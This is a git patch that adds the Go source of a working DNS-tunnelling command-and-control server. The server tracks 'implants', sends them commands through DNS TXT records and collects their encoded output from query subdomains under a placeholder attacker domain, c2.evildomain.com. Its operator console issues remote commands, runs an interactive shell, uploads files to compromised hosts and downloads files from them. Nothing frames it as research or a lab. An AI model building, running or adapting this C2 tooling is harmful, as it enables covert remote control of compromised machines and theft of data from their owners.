From c9f66bcc8376023c95be8f69ba742a54ace55b39 Mon Sep 17 00:00:00 2001 From: ek0ms savi0r Date: Tue, 2 Jun 2026 01:14:32 +0000 Subject: [PATCH] Upload files to "c2s_dns_tunnel/cmd/server" --- c2s_dns_tunnel/cmd/server/main.go | 829 ++++++++++++++++++++++++++++++ 1 file changed, 829 insertions(+) create mode 100644 c2s_dns_tunnel/cmd/server/main.go diff --git a/c2s_dns_tunnel/cmd/server/main.go b/c2s_dns_tunnel/cmd/server/main.go new file mode 100644 index 0000000..5ad893f --- /dev/null +++ b/c2s_dns_tunnel/cmd/server/main.go @@ -0,0 +1,829 @@ +package main + +import ( + "bufio" + "crypto/rand" + "encoding/base64" + "encoding/hex" + "fmt" + "io" + "log" + "os" + "os/signal" + "sort" + "strconv" + "strings" + "sync" + "syscall" + "time" + + "github.com/miekg/dns" +) + +// ─── Constants ─────────────────────────────────────────────────────────────── + +const ( + defaultListen = ":5353" + chunkSize = 400 // max base64 payload per DNS label (well under 512 after overhead) + maxQueryLabels = 6 // max subdomain labels before the domain +) + +// ─── Implant State ─────────────────────────────────────────────────────────── + +type ImplantState struct { + mu sync.Mutex + ID string + FirstSeen time.Time + LastSeen time.Time + PendingOutput []string // base64 output chunks from implant, in order + PendingCmd string // base64-encoded command waiting for implant + PendingCmdSeq int // chunk sequence for command + PendingCmdChunks []string + PendingCmdTotal int + Interval int // seconds between queries (server-controlled) +} + +type C2Server struct { + mu sync.RWMutex + implants map[string]*ImplantState + domain string // e.g. "c2.evildomain.com" +} + +func NewC2Server(domain string) *C2Server { + return &C2Server{ + implants: make(map[string]*ImplantState), + domain: domain, + } +} + +func (s *C2Server) getOrCreate(id string) *ImplantState { + s.mu.Lock() + defer s.mu.Unlock() + imp, ok := s.implants[id] + if !ok { + imp = &ImplantState{ + ID: id, + FirstSeen: time.Now(), + LastSeen: time.Now(), + Interval: 30, + } + s.implants[id] = imp + } else { + imp.LastSeen = time.Now() + } + return imp +} + +// ─── DNS Handler ───────────────────────────────────────────────────────────── + +func (s *C2Server) ServeDNS(w dns.ResponseWriter, req *dns.Msg) { + if len(req.Question) == 0 { + return + } + + q := req.Question[0] + domain := dns.Fqdn(q.Name) + + // Strip trailing dot for parsing + fqdn := strings.TrimSuffix(domain, ".") + + // We only care about our domain + if !strings.HasSuffix(fqdn, s.domain) { + // Return NXDOMAIN for unknown domains — looks natural + m := new(dns.Msg) + m.SetReply(req) + m.Rcode = dns.RcodeNameError + w.WriteMsg(m) + return + } + + // The expected fqdn format: + // ...c2. + // e.g., "ready.myimplant.aGVsbG8=.c2.evildomain.com" + // or there may be additional labels for chunked data: + // .....c2. + + // Strip the domain prefix + tail := strings.TrimSuffix(fqdn, "."+s.domain) + tail = strings.TrimSuffix(tail, ".c2") + + if tail == "" { + m := new(dns.Msg) + m.SetReply(req) + m.Rcode = dns.RcodeNameError + w.WriteMsg(m) + return + } + + labels := strings.Split(tail, ".") + if len(labels) < 2 { + m := new(dns.Msg) + m.SetReply(req) + m.Rcode = dns.RcodeNameError + w.WriteMsg(m) + return + } + + status := labels[0] + implantID := labels[1] + + imp := s.getOrCreate(implantID) + + switch q.Qtype { + case dns.TypeTXT: + s.handleTXTQuery(w, req, imp, status, labels[2:]) + case dns.TypeA: + // Implant is doing a lookup — return nothing for A but + // still capture the query. Some implementations use A + // with subdomain encoding. + s.handleAQuery(w, req, imp, status, labels[2:]) + default: + m := new(dns.Msg) + m.SetReply(req) + w.WriteMsg(m) + } +} + +func (s *C2Server) handleAQuery(w dns.ResponseWriter, req *dns.Msg, imp *ImplantState, status string, dataLabels []string) { + m := new(dns.Msg) + m.SetReply(req) + + // Still process any data encoded in the query + if len(dataLabels) > 0 { + s.processImplantData(imp, status, dataLabels) + } + + // Return NXDOMAIN — no A records here + m.Rcode = dns.RcodeNameError + w.WriteMsg(m) +} + +func (s *C2Server) handleTXTQuery(w dns.ResponseWriter, req *dns.Msg, imp *ImplantState, status string, dataLabels []string) { + m := new(dns.Msg) + m.SetReply(req) + m.Authoritative = true + + // Process any data coming from the implant + if len(dataLabels) > 0 { + s.processImplantData(imp, status, dataLabels) + } + + // Check if there's a pending command + imp.mu.Lock() + cmd := imp.PendingCmd + hasCmd := cmd != "" + imp.mu.Unlock() + + if hasCmd { + // Return the pending command as TXT records + imp.mu.Lock() + command := imp.PendingCmd + chunks := imp.PendingCmdChunks + total := imp.PendingCmdTotal + + if total <= 1 { + // Single chunk — return directly + rr, err := dns.NewRR(fmt.Sprintf("%s TXT \"%s\"", dns.Fqdn(req.Question[0].Name), command)) + if err == nil { + m.Answer = append(m.Answer, rr) + } + // Clear the command + imp.PendingCmd = "" + imp.PendingCmdChunks = nil + imp.PendingCmdTotal = 0 + imp.PendingCmdSeq = 0 + } else { + // Send next chunk + if imp.PendingCmdSeq < len(chunks) { + chunk := chunks[imp.PendingCmdSeq] + chunkLabel := fmt.Sprintf("%s.%d.%d", chunk, imp.PendingCmdSeq+1, total) + rr, err := dns.NewRR(fmt.Sprintf("%s TXT \"%s\"", dns.Fqdn(req.Question[0].Name), chunkLabel)) + if err == nil { + m.Answer = append(m.Answer, rr) + } + imp.PendingCmdSeq++ + if imp.PendingCmdSeq >= total { + imp.PendingCmd = "" + imp.PendingCmdChunks = nil + imp.PendingCmdTotal = 0 + imp.PendingCmdSeq = 0 + } + } + } + imp.mu.Unlock() + } else { + // No pending command — return empty TXT (just a space) + rr, err := dns.NewRR(fmt.Sprintf("%s TXT \"\"", dns.Fqdn(req.Question[0].Name))) + if err == nil { + m.Answer = append(m.Answer, rr) + } + } + + w.WriteMsg(m) +} + +func (s *C2Server) processImplantData(imp *ImplantState, status string, dataLabels []string) { + // Parse dataLabels: + // For simple: [base64output] + // For chunked: [chunk-seq, total-chunks, base64chunk, ...] + // Multiple base64 chunks can appear + + var outputChunks []string + remainingLabels := dataLabels + + for len(remainingLabels) > 0 { + // Check if next labels look like a chunked header: seq.total.data + // or just raw data + label := remainingLabels[0] + + // Try to decode as base64 + decoded, err := decodeB64Safe(label) + if err == nil && len(decoded) > 0 { + outputChunks = append(outputChunks, label) + remainingLabels = remainingLabels[1:] + } else { + // Check for seq.total.data pattern + if len(remainingLabels) >= 3 { + seq, err1 := strconv.Atoi(remainingLabels[0]) + total, err2 := strconv.Atoi(remainingLabels[1]) + if err1 == nil && err2 == nil && seq > 0 && total > 0 && seq <= total { + data := remainingLabels[2] + outputChunks = append(outputChunks, fmt.Sprintf("[%d/%d]%s", seq, total, data)) + remainingLabels = remainingLabels[3:] + continue + } + } + // Unknown format, skip + remainingLabels = remainingLabels[1:] + } + } + + if len(outputChunks) > 0 { + imp.mu.Lock() + imp.PendingOutput = append(imp.PendingOutput, outputChunks...) + imp.mu.Unlock() + } +} + +// ─── Command Queueing ──────────────────────────────────────────────────────── + +func (s *C2Server) QueueCommand(id string, command string) error { + s.mu.RLock() + imp, ok := s.implants[id] + s.mu.RUnlock() + if !ok { + return fmt.Errorf("implant %s not found", id) + } + + encoded := base64.StdEncoding.EncodeToString([]byte(command)) + + // If the command fits in a single chunk, send it directly + if len(encoded) <= chunkSize { + imp.mu.Lock() + imp.PendingCmd = encoded + imp.PendingCmdChunks = nil + imp.PendingCmdTotal = 1 + imp.PendingCmdSeq = 0 + imp.mu.Unlock() + return nil + } + + // Chunk the command + chunks := chunkString(encoded, chunkSize) + imp.mu.Lock() + imp.PendingCmd = encoded + imp.PendingCmdChunks = chunks + imp.PendingCmdTotal = len(chunks) + imp.PendingCmdSeq = 0 + imp.mu.Unlock() + + return nil +} + +func (s *C2Server) QueueCommandRaw(id string, encodedCmd string) error { + s.mu.RLock() + imp, ok := s.implants[id] + s.mu.RUnlock() + if !ok { + return fmt.Errorf("implant %s not found", id) + } + + if len(encodedCmd) <= chunkSize { + imp.mu.Lock() + imp.PendingCmd = encodedCmd + imp.PendingCmdChunks = nil + imp.PendingCmdTotal = 1 + imp.PendingCmdSeq = 0 + imp.mu.Unlock() + return nil + } + + chunks := chunkString(encodedCmd, chunkSize) + imp.mu.Lock() + imp.PendingCmd = encodedCmd + imp.PendingCmdChunks = chunks + imp.PendingCmdTotal = len(chunks) + imp.PendingCmdSeq = 0 + imp.mu.Unlock() + return nil +} + +func (s *C2Server) SetInterval(id string, interval int) error { + s.mu.RLock() + imp, ok := s.implants[id] + s.mu.RUnlock() + if !ok { + return fmt.Errorf("implant %s not found", id) + } + imp.mu.Lock() + imp.Interval = interval + imp.mu.Unlock() + + // Queue a special "INTERVAL:" command to tell the implant + cmd := fmt.Sprintf("__INTERVAL__:%d", interval) + return s.QueueCommand(id, cmd) +} + +// ─── Operator Interface ────────────────────────────────────────────────────── + +func operatorUI(srv *C2Server, shutdown chan struct{}) { + reader := bufio.NewReader(os.Stdin) + var selectedID string + + // Read a single line and then check behavior + fmt.Println("╔══════════════════════════════════════════════╗") + fmt.Println("║ DNS Tunneling C2 — Operator Console ║") + fmt.Println("╚══════════════════════════════════════════════╝") + fmt.Println() + printHelp() + + for { + select { + case <-shutdown: + fmt.Println("Shutting down...") + return + default: + } + + prefix := "C2> " + if selectedID != "" { + prefix = fmt.Sprintf("C2[%s]> ", selectedID) + } + fmt.Print(prefix) + + input, err := reader.ReadString('\n') + if err != nil { + if err == io.EOF { + // EOF from stdin (daemon/pipe mode) — wait for signal + fmt.Println("\nDaemon mode — waiting for signal to shut down...") + <-shutdown + return + } + log.Printf("Read error: %v", err) + continue + } + + input = strings.TrimSpace(input) + if input == "" { + continue + } + + args := strings.Fields(input) + cmd := args[0] + + switch cmd { + case "help", "h", "?": + printHelp() + + case "list", "ls": + listImplants(srv) + + case "use": + if len(args) < 2 { + fmt.Println("Usage: use ") + continue + } + id := args[1] + srv.mu.RLock() + _, ok := srv.implants[id] + srv.mu.RUnlock() + if !ok { + fmt.Printf("Implant %s not found\n", id) + continue + } + selectedID = id + fmt.Printf("Selected implant: %s\n", id) + + case "back": + if selectedID != "" { + fmt.Printf("Deselected implant %s\n", selectedID) + selectedID = "" + } else { + fmt.Println("No implant selected") + } + + case "exec": + if selectedID == "" { + fmt.Println("No implant selected. Use 'use ' first.") + continue + } + if len(args) < 2 { + fmt.Println("Usage: exec ") + continue + } + command := strings.Join(args[1:], " ") + err := srv.QueueCommand(selectedID, command) + if err != nil { + fmt.Printf("Error: %v\n", err) + } else { + fmt.Printf("Queued command for %s: %s\n", selectedID, command) + } + + case "interval": + if selectedID == "" { + fmt.Println("No implant selected.") + continue + } + if len(args) < 2 { + // Show current interval + srv.mu.RLock() + imp, ok := srv.implants[selectedID] + srv.mu.RUnlock() + if ok { + imp.mu.Lock() + fmt.Printf("Current interval: %ds\n", imp.Interval) + imp.mu.Unlock() + } + continue + } + n, err := strconv.Atoi(args[1]) + if err != nil || n < 1 { + fmt.Println("Interval must be a positive integer (seconds)") + continue + } + err = srv.SetInterval(selectedID, n) + if err != nil { + fmt.Printf("Error: %v\n", err) + } else { + fmt.Printf("Set interval for %s to %ds\n", selectedID, n) + } + + case "upload": + if selectedID == "" { + fmt.Println("No implant selected.") + continue + } + if len(args) < 3 { + fmt.Println("Usage: upload ") + continue + } + localFile := args[1] + remotePath := args[2] + handleUpload(srv, selectedID, localFile, remotePath) + + case "download": + if selectedID == "" { + fmt.Println("No implant selected.") + continue + } + if len(args) < 2 { + fmt.Println("Usage: download ") + continue + } + remotePath := args[1] + handleDownload(srv, selectedID, remotePath) + + case "output": + if selectedID == "" { + fmt.Println("No implant selected.") + continue + } + srv.mu.RLock() + imp, ok := srv.implants[selectedID] + srv.mu.RUnlock() + if !ok { + fmt.Println("Implant not found") + continue + } + imp.mu.Lock() + if len(imp.PendingOutput) == 0 { + fmt.Println("No pending output") + } else { + fmt.Printf("=== Output for %s ===\n", selectedID) + for _, chunk := range imp.PendingOutput { + decoded, err := decodeB64Safe(chunk) + if err == nil { + fmt.Print(string(decoded)) + } else { + fmt.Print(chunk) + } + } + fmt.Println() + fmt.Println("======================") + imp.PendingOutput = nil + } + imp.mu.Unlock() + + case "info": + if selectedID == "" { + fmt.Println("No implant selected.") + continue + } + srv.mu.RLock() + imp, ok := srv.implants[selectedID] + srv.mu.RUnlock() + if ok { + imp.mu.Lock() + fmt.Printf("Implant ID: %s\n", imp.ID) + fmt.Printf("First Seen: %s\n", imp.FirstSeen.Format(time.RFC3339)) + fmt.Printf("Last Seen: %s\n", imp.LastSeen.Format(time.RFC3339)) + fmt.Printf("Interval: %ds\n", imp.Interval) + hasCmd := imp.PendingCmd != "" + imp.mu.Unlock() + if hasCmd { + fmt.Println("Command Queued: YES") + } else { + fmt.Println("Command Queued: no") + } + } + + case "clear", "cls": + fmt.Print("\033[H\033[2J") + + case "exit", "quit", "q": + fmt.Println("Shutting down...") + os.Exit(0) + + case "shell": + if selectedID == "" { + fmt.Println("No implant selected.") + continue + } + fmt.Println("Entering interactive shell mode for", selectedID) + fmt.Println("Type 'EXIT' to return to C2 prompt") + for { + fmt.Printf("⌂ %s $ ", selectedID) + line, err := reader.ReadString('\n') + if err != nil { + break + } + line = strings.TrimSpace(line) + if line == "" { + continue + } + if strings.ToUpper(line) == "EXIT" { + break + } + err = srv.QueueCommand(selectedID, line) + if err != nil { + fmt.Printf("Error: %v\n", err) + } else { + fmt.Printf("Queued: %s\n", line) + } + } + + default: + fmt.Printf("Unknown command: %s\n", cmd) + fmt.Println("Type 'help' for available commands") + } + } +} + +func printHelp() { + fmt.Println("Available Commands:") + fmt.Println(" help, h, ? — Show this help") + fmt.Println(" list, ls — List connected implants") + fmt.Println(" use — Select an implant") + fmt.Println(" back — Deselect current implant") + fmt.Println(" info — Show selected implant info") + fmt.Println(" exec — Execute a command on selected implant") + fmt.Println(" shell — Interactive one-shot shell mode") + fmt.Println(" interval — Set query interval for selected implant") + fmt.Println(" upload — Upload file to implant (chunked)") + fmt.Println(" download — Download file from implant") + fmt.Println(" output — Show pending output from selected implant") + fmt.Println(" clear, cls — Clear screen") + fmt.Println(" exit, q — Quit") + fmt.Println() +} + +func listImplants(srv *C2Server) { + srv.mu.RLock() + defer srv.mu.RUnlock() + + if len(srv.implants) == 0 { + fmt.Println("No implants connected") + return + } + + ids := make([]string, 0, len(srv.implants)) + for id := range srv.implants { + ids = append(ids, id) + } + sort.Strings(ids) + + fmt.Printf("%-30s %-20s %-20s %s\n", "IMPLANT ID", "FIRST SEEN", "LAST SEEN", "OUTPUT") + fmt.Println(strings.Repeat("─", 90)) + for _, id := range ids { + imp := srv.implants[id] + imp.mu.Lock() + first := imp.FirstSeen.Format("15:04:05 Jan02") + last := imp.LastSeen.Format("15:04:05 Jan02") + oc := len(imp.PendingOutput) + imp.mu.Unlock() + outputStatus := "" + if oc > 0 { + outputStatus = fmt.Sprintf("%d chunks", oc) + } + fmt.Printf("%-30s %-20s %-20s %s\n", id, first, last, outputStatus) + } +} + +// ─── File Upload/Download ──────────────────────────────────────────────────── + +func handleUpload(srv *C2Server, implantID, localPath, remotePath string) { + data, err := os.ReadFile(localPath) + if err != nil { + fmt.Printf("Error reading %s: %v\n", localPath, err) + return + } + + // Command format: __UPLOAD__:: + // We send __UPLOAD_START__ with total size, then chunks, then __UPLOAD_END__ + encoded := base64.StdEncoding.EncodeToString(data) + + // First send the init command + initCmd := fmt.Sprintf("__UPLOAD_START__:%s:%d", remotePath, len(data)) + if err := srv.QueueCommand(implantID, initCmd); err != nil { + fmt.Printf("Error queueing upload start: %v\n", err) + return + } + fmt.Printf("Upload start queued for %s -> %s (%d bytes)\n", localPath, remotePath, len(data)) + + // Send chunks + chunks := chunkString(encoded, chunkSize) + for i, chunk := range chunks { + chunkCmd := fmt.Sprintf("__UPLOAD_CHUNK__:%d:%d:%s", i+1, len(chunks), chunk) + if err := srv.QueueCommand(implantID, chunkCmd); err != nil { + fmt.Printf("Error queueing chunk %d/%d: %v\n", i+1, len(chunks), err) + return + } + fmt.Printf(" Chunk %d/%d queued\n", i+1, len(chunks)) + } + + // Finalize + endCmd := fmt.Sprintf("__UPLOAD_END__:%s", remotePath) + if err := srv.QueueCommand(implantID, endCmd); err != nil { + fmt.Printf("Error queueing upload end: %v\n", err) + return + } + fmt.Printf("Upload complete: %s -> %s\n", localPath, remotePath) +} + +func handleDownload(srv *C2Server, implantID, remotePath string) { + cmd := fmt.Sprintf("__DOWNLOAD__:%s", remotePath) + if err := srv.QueueCommand(implantID, cmd); err != nil { + fmt.Printf("Error: %v\n", err) + return + } + fmt.Printf("Download request queued for %s\n", remotePath) + fmt.Println("Use 'output' to retrieve the file data when it arrives") +} + +// ─── Utilities ─────────────────────────────────────────────────────────────── + +func chunkString(s string, size int) []string { + if len(s) == 0 { + return []string{""} + } + var chunks []string + for i := 0; i < len(s); i += size { + end := i + size + if end > len(s) { + end = len(s) + } + chunks = append(chunks, s[i:end]) + } + return chunks +} + +func decodeB64Safe(s string) ([]byte, error) { + // Try standard base64 first + data, err := base64.StdEncoding.DecodeString(s) + if err == nil { + return data, nil + } + // Try URL-safe + data, err = base64.URLEncoding.DecodeString(s) + if err == nil { + return data, nil + } + // Try with padding fixes + pad := 4 - len(s)%4 + if pad < 4 { + s = s + strings.Repeat("=", pad) + } + return base64.StdEncoding.DecodeString(s) +} + +func generateID() string { + b := make([]byte, 8) + rand.Read(b) + return hex.EncodeToString(b) +} + +// ─── Main ──────────────────────────────────────────────────────────────────── + +func main() { + listenAddr := os.Getenv("C2_LISTEN") + if listenAddr == "" { + listenAddr = defaultListen + } + + domain := os.Getenv("C2_DOMAIN") + if domain == "" { + domain = "c2.evildomain.com" + } + + // Allow override via flags (simple approach) + for i := 1; i < len(os.Args); i++ { + switch os.Args[i] { + case "-listen": + if i+1 < len(os.Args) { + listenAddr = os.Args[i+1] + i++ + } + case "-domain": + if i+1 < len(os.Args) { + domain = os.Args[i+1] + i++ + } + case "-h", "--help": + fmt.Println("DNS Tunnel C2 Server") + fmt.Println() + fmt.Println("Usage: c2-server [-listen :5353] [-domain c2.evildomain.com]") + fmt.Println() + fmt.Println("Environment variables:") + fmt.Println(" C2_LISTEN — Listen address (default :5353)") + fmt.Println(" C2_DOMAIN — C2 domain (default c2.evildomain.com)") + fmt.Println() + fmt.Println("For privileged port 53, use iptables:") + fmt.Println(" sudo iptables -t nat -A PREROUTING -p udp --dport 53 -j REDIRECT --to-port 5353") + fmt.Println(" sudo iptables -t nat -A OUTPUT -p udp --dport 53 -j REDIRECT --to-port 5353") + return + } + } + + serverID := os.Getenv("C2_SERVER_ID") + if serverID == "" { + serverID = generateID() + } + + log.Printf("DNS Tunnel C2 Server starting...") + log.Printf("Server ID: %s", serverID) + log.Printf("Listening on: %s", listenAddr) + log.Printf("Domain: %s", domain) + log.Printf("") + log.Printf("⚠ Running on port 5353 by default (no root needed)") + log.Printf(" To redirect port 53 → 5353:") + log.Printf(" sudo iptables -t nat -A PREROUTING -p udp --dport 53 -j REDIRECT --to-port 5353") + log.Printf("") + + srv := NewC2Server(domain) + + // Start DNS server + dns.HandleFunc(domain+".", srv.ServeDNS) + + go func() { + udpServer := &dns.Server{ + Addr: listenAddr, + Net: "udp", + Handler: dns.DefaultServeMux, + } + + log.Printf("UDP DNS listener starting on %s", listenAddr) + if err := udpServer.ListenAndServe(); err != nil { + log.Fatalf("Failed to start DNS server: %v", err) + } + }() + + // Give DNS server a moment to start + time.Sleep(100 * time.Millisecond) + + // Shutdown channel for non-interactive mode + shutdown := make(chan struct{}) + + // Handle signals for clean shutdown + sigCh := make(chan os.Signal, 1) + signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM) + go func() { + sig := <-sigCh + log.Printf("Received signal %v, shutting down...", sig) + close(shutdown) + }() + + // Start operator interface + operatorUI(srv, shutdown) + + log.Printf("Server stopped") +}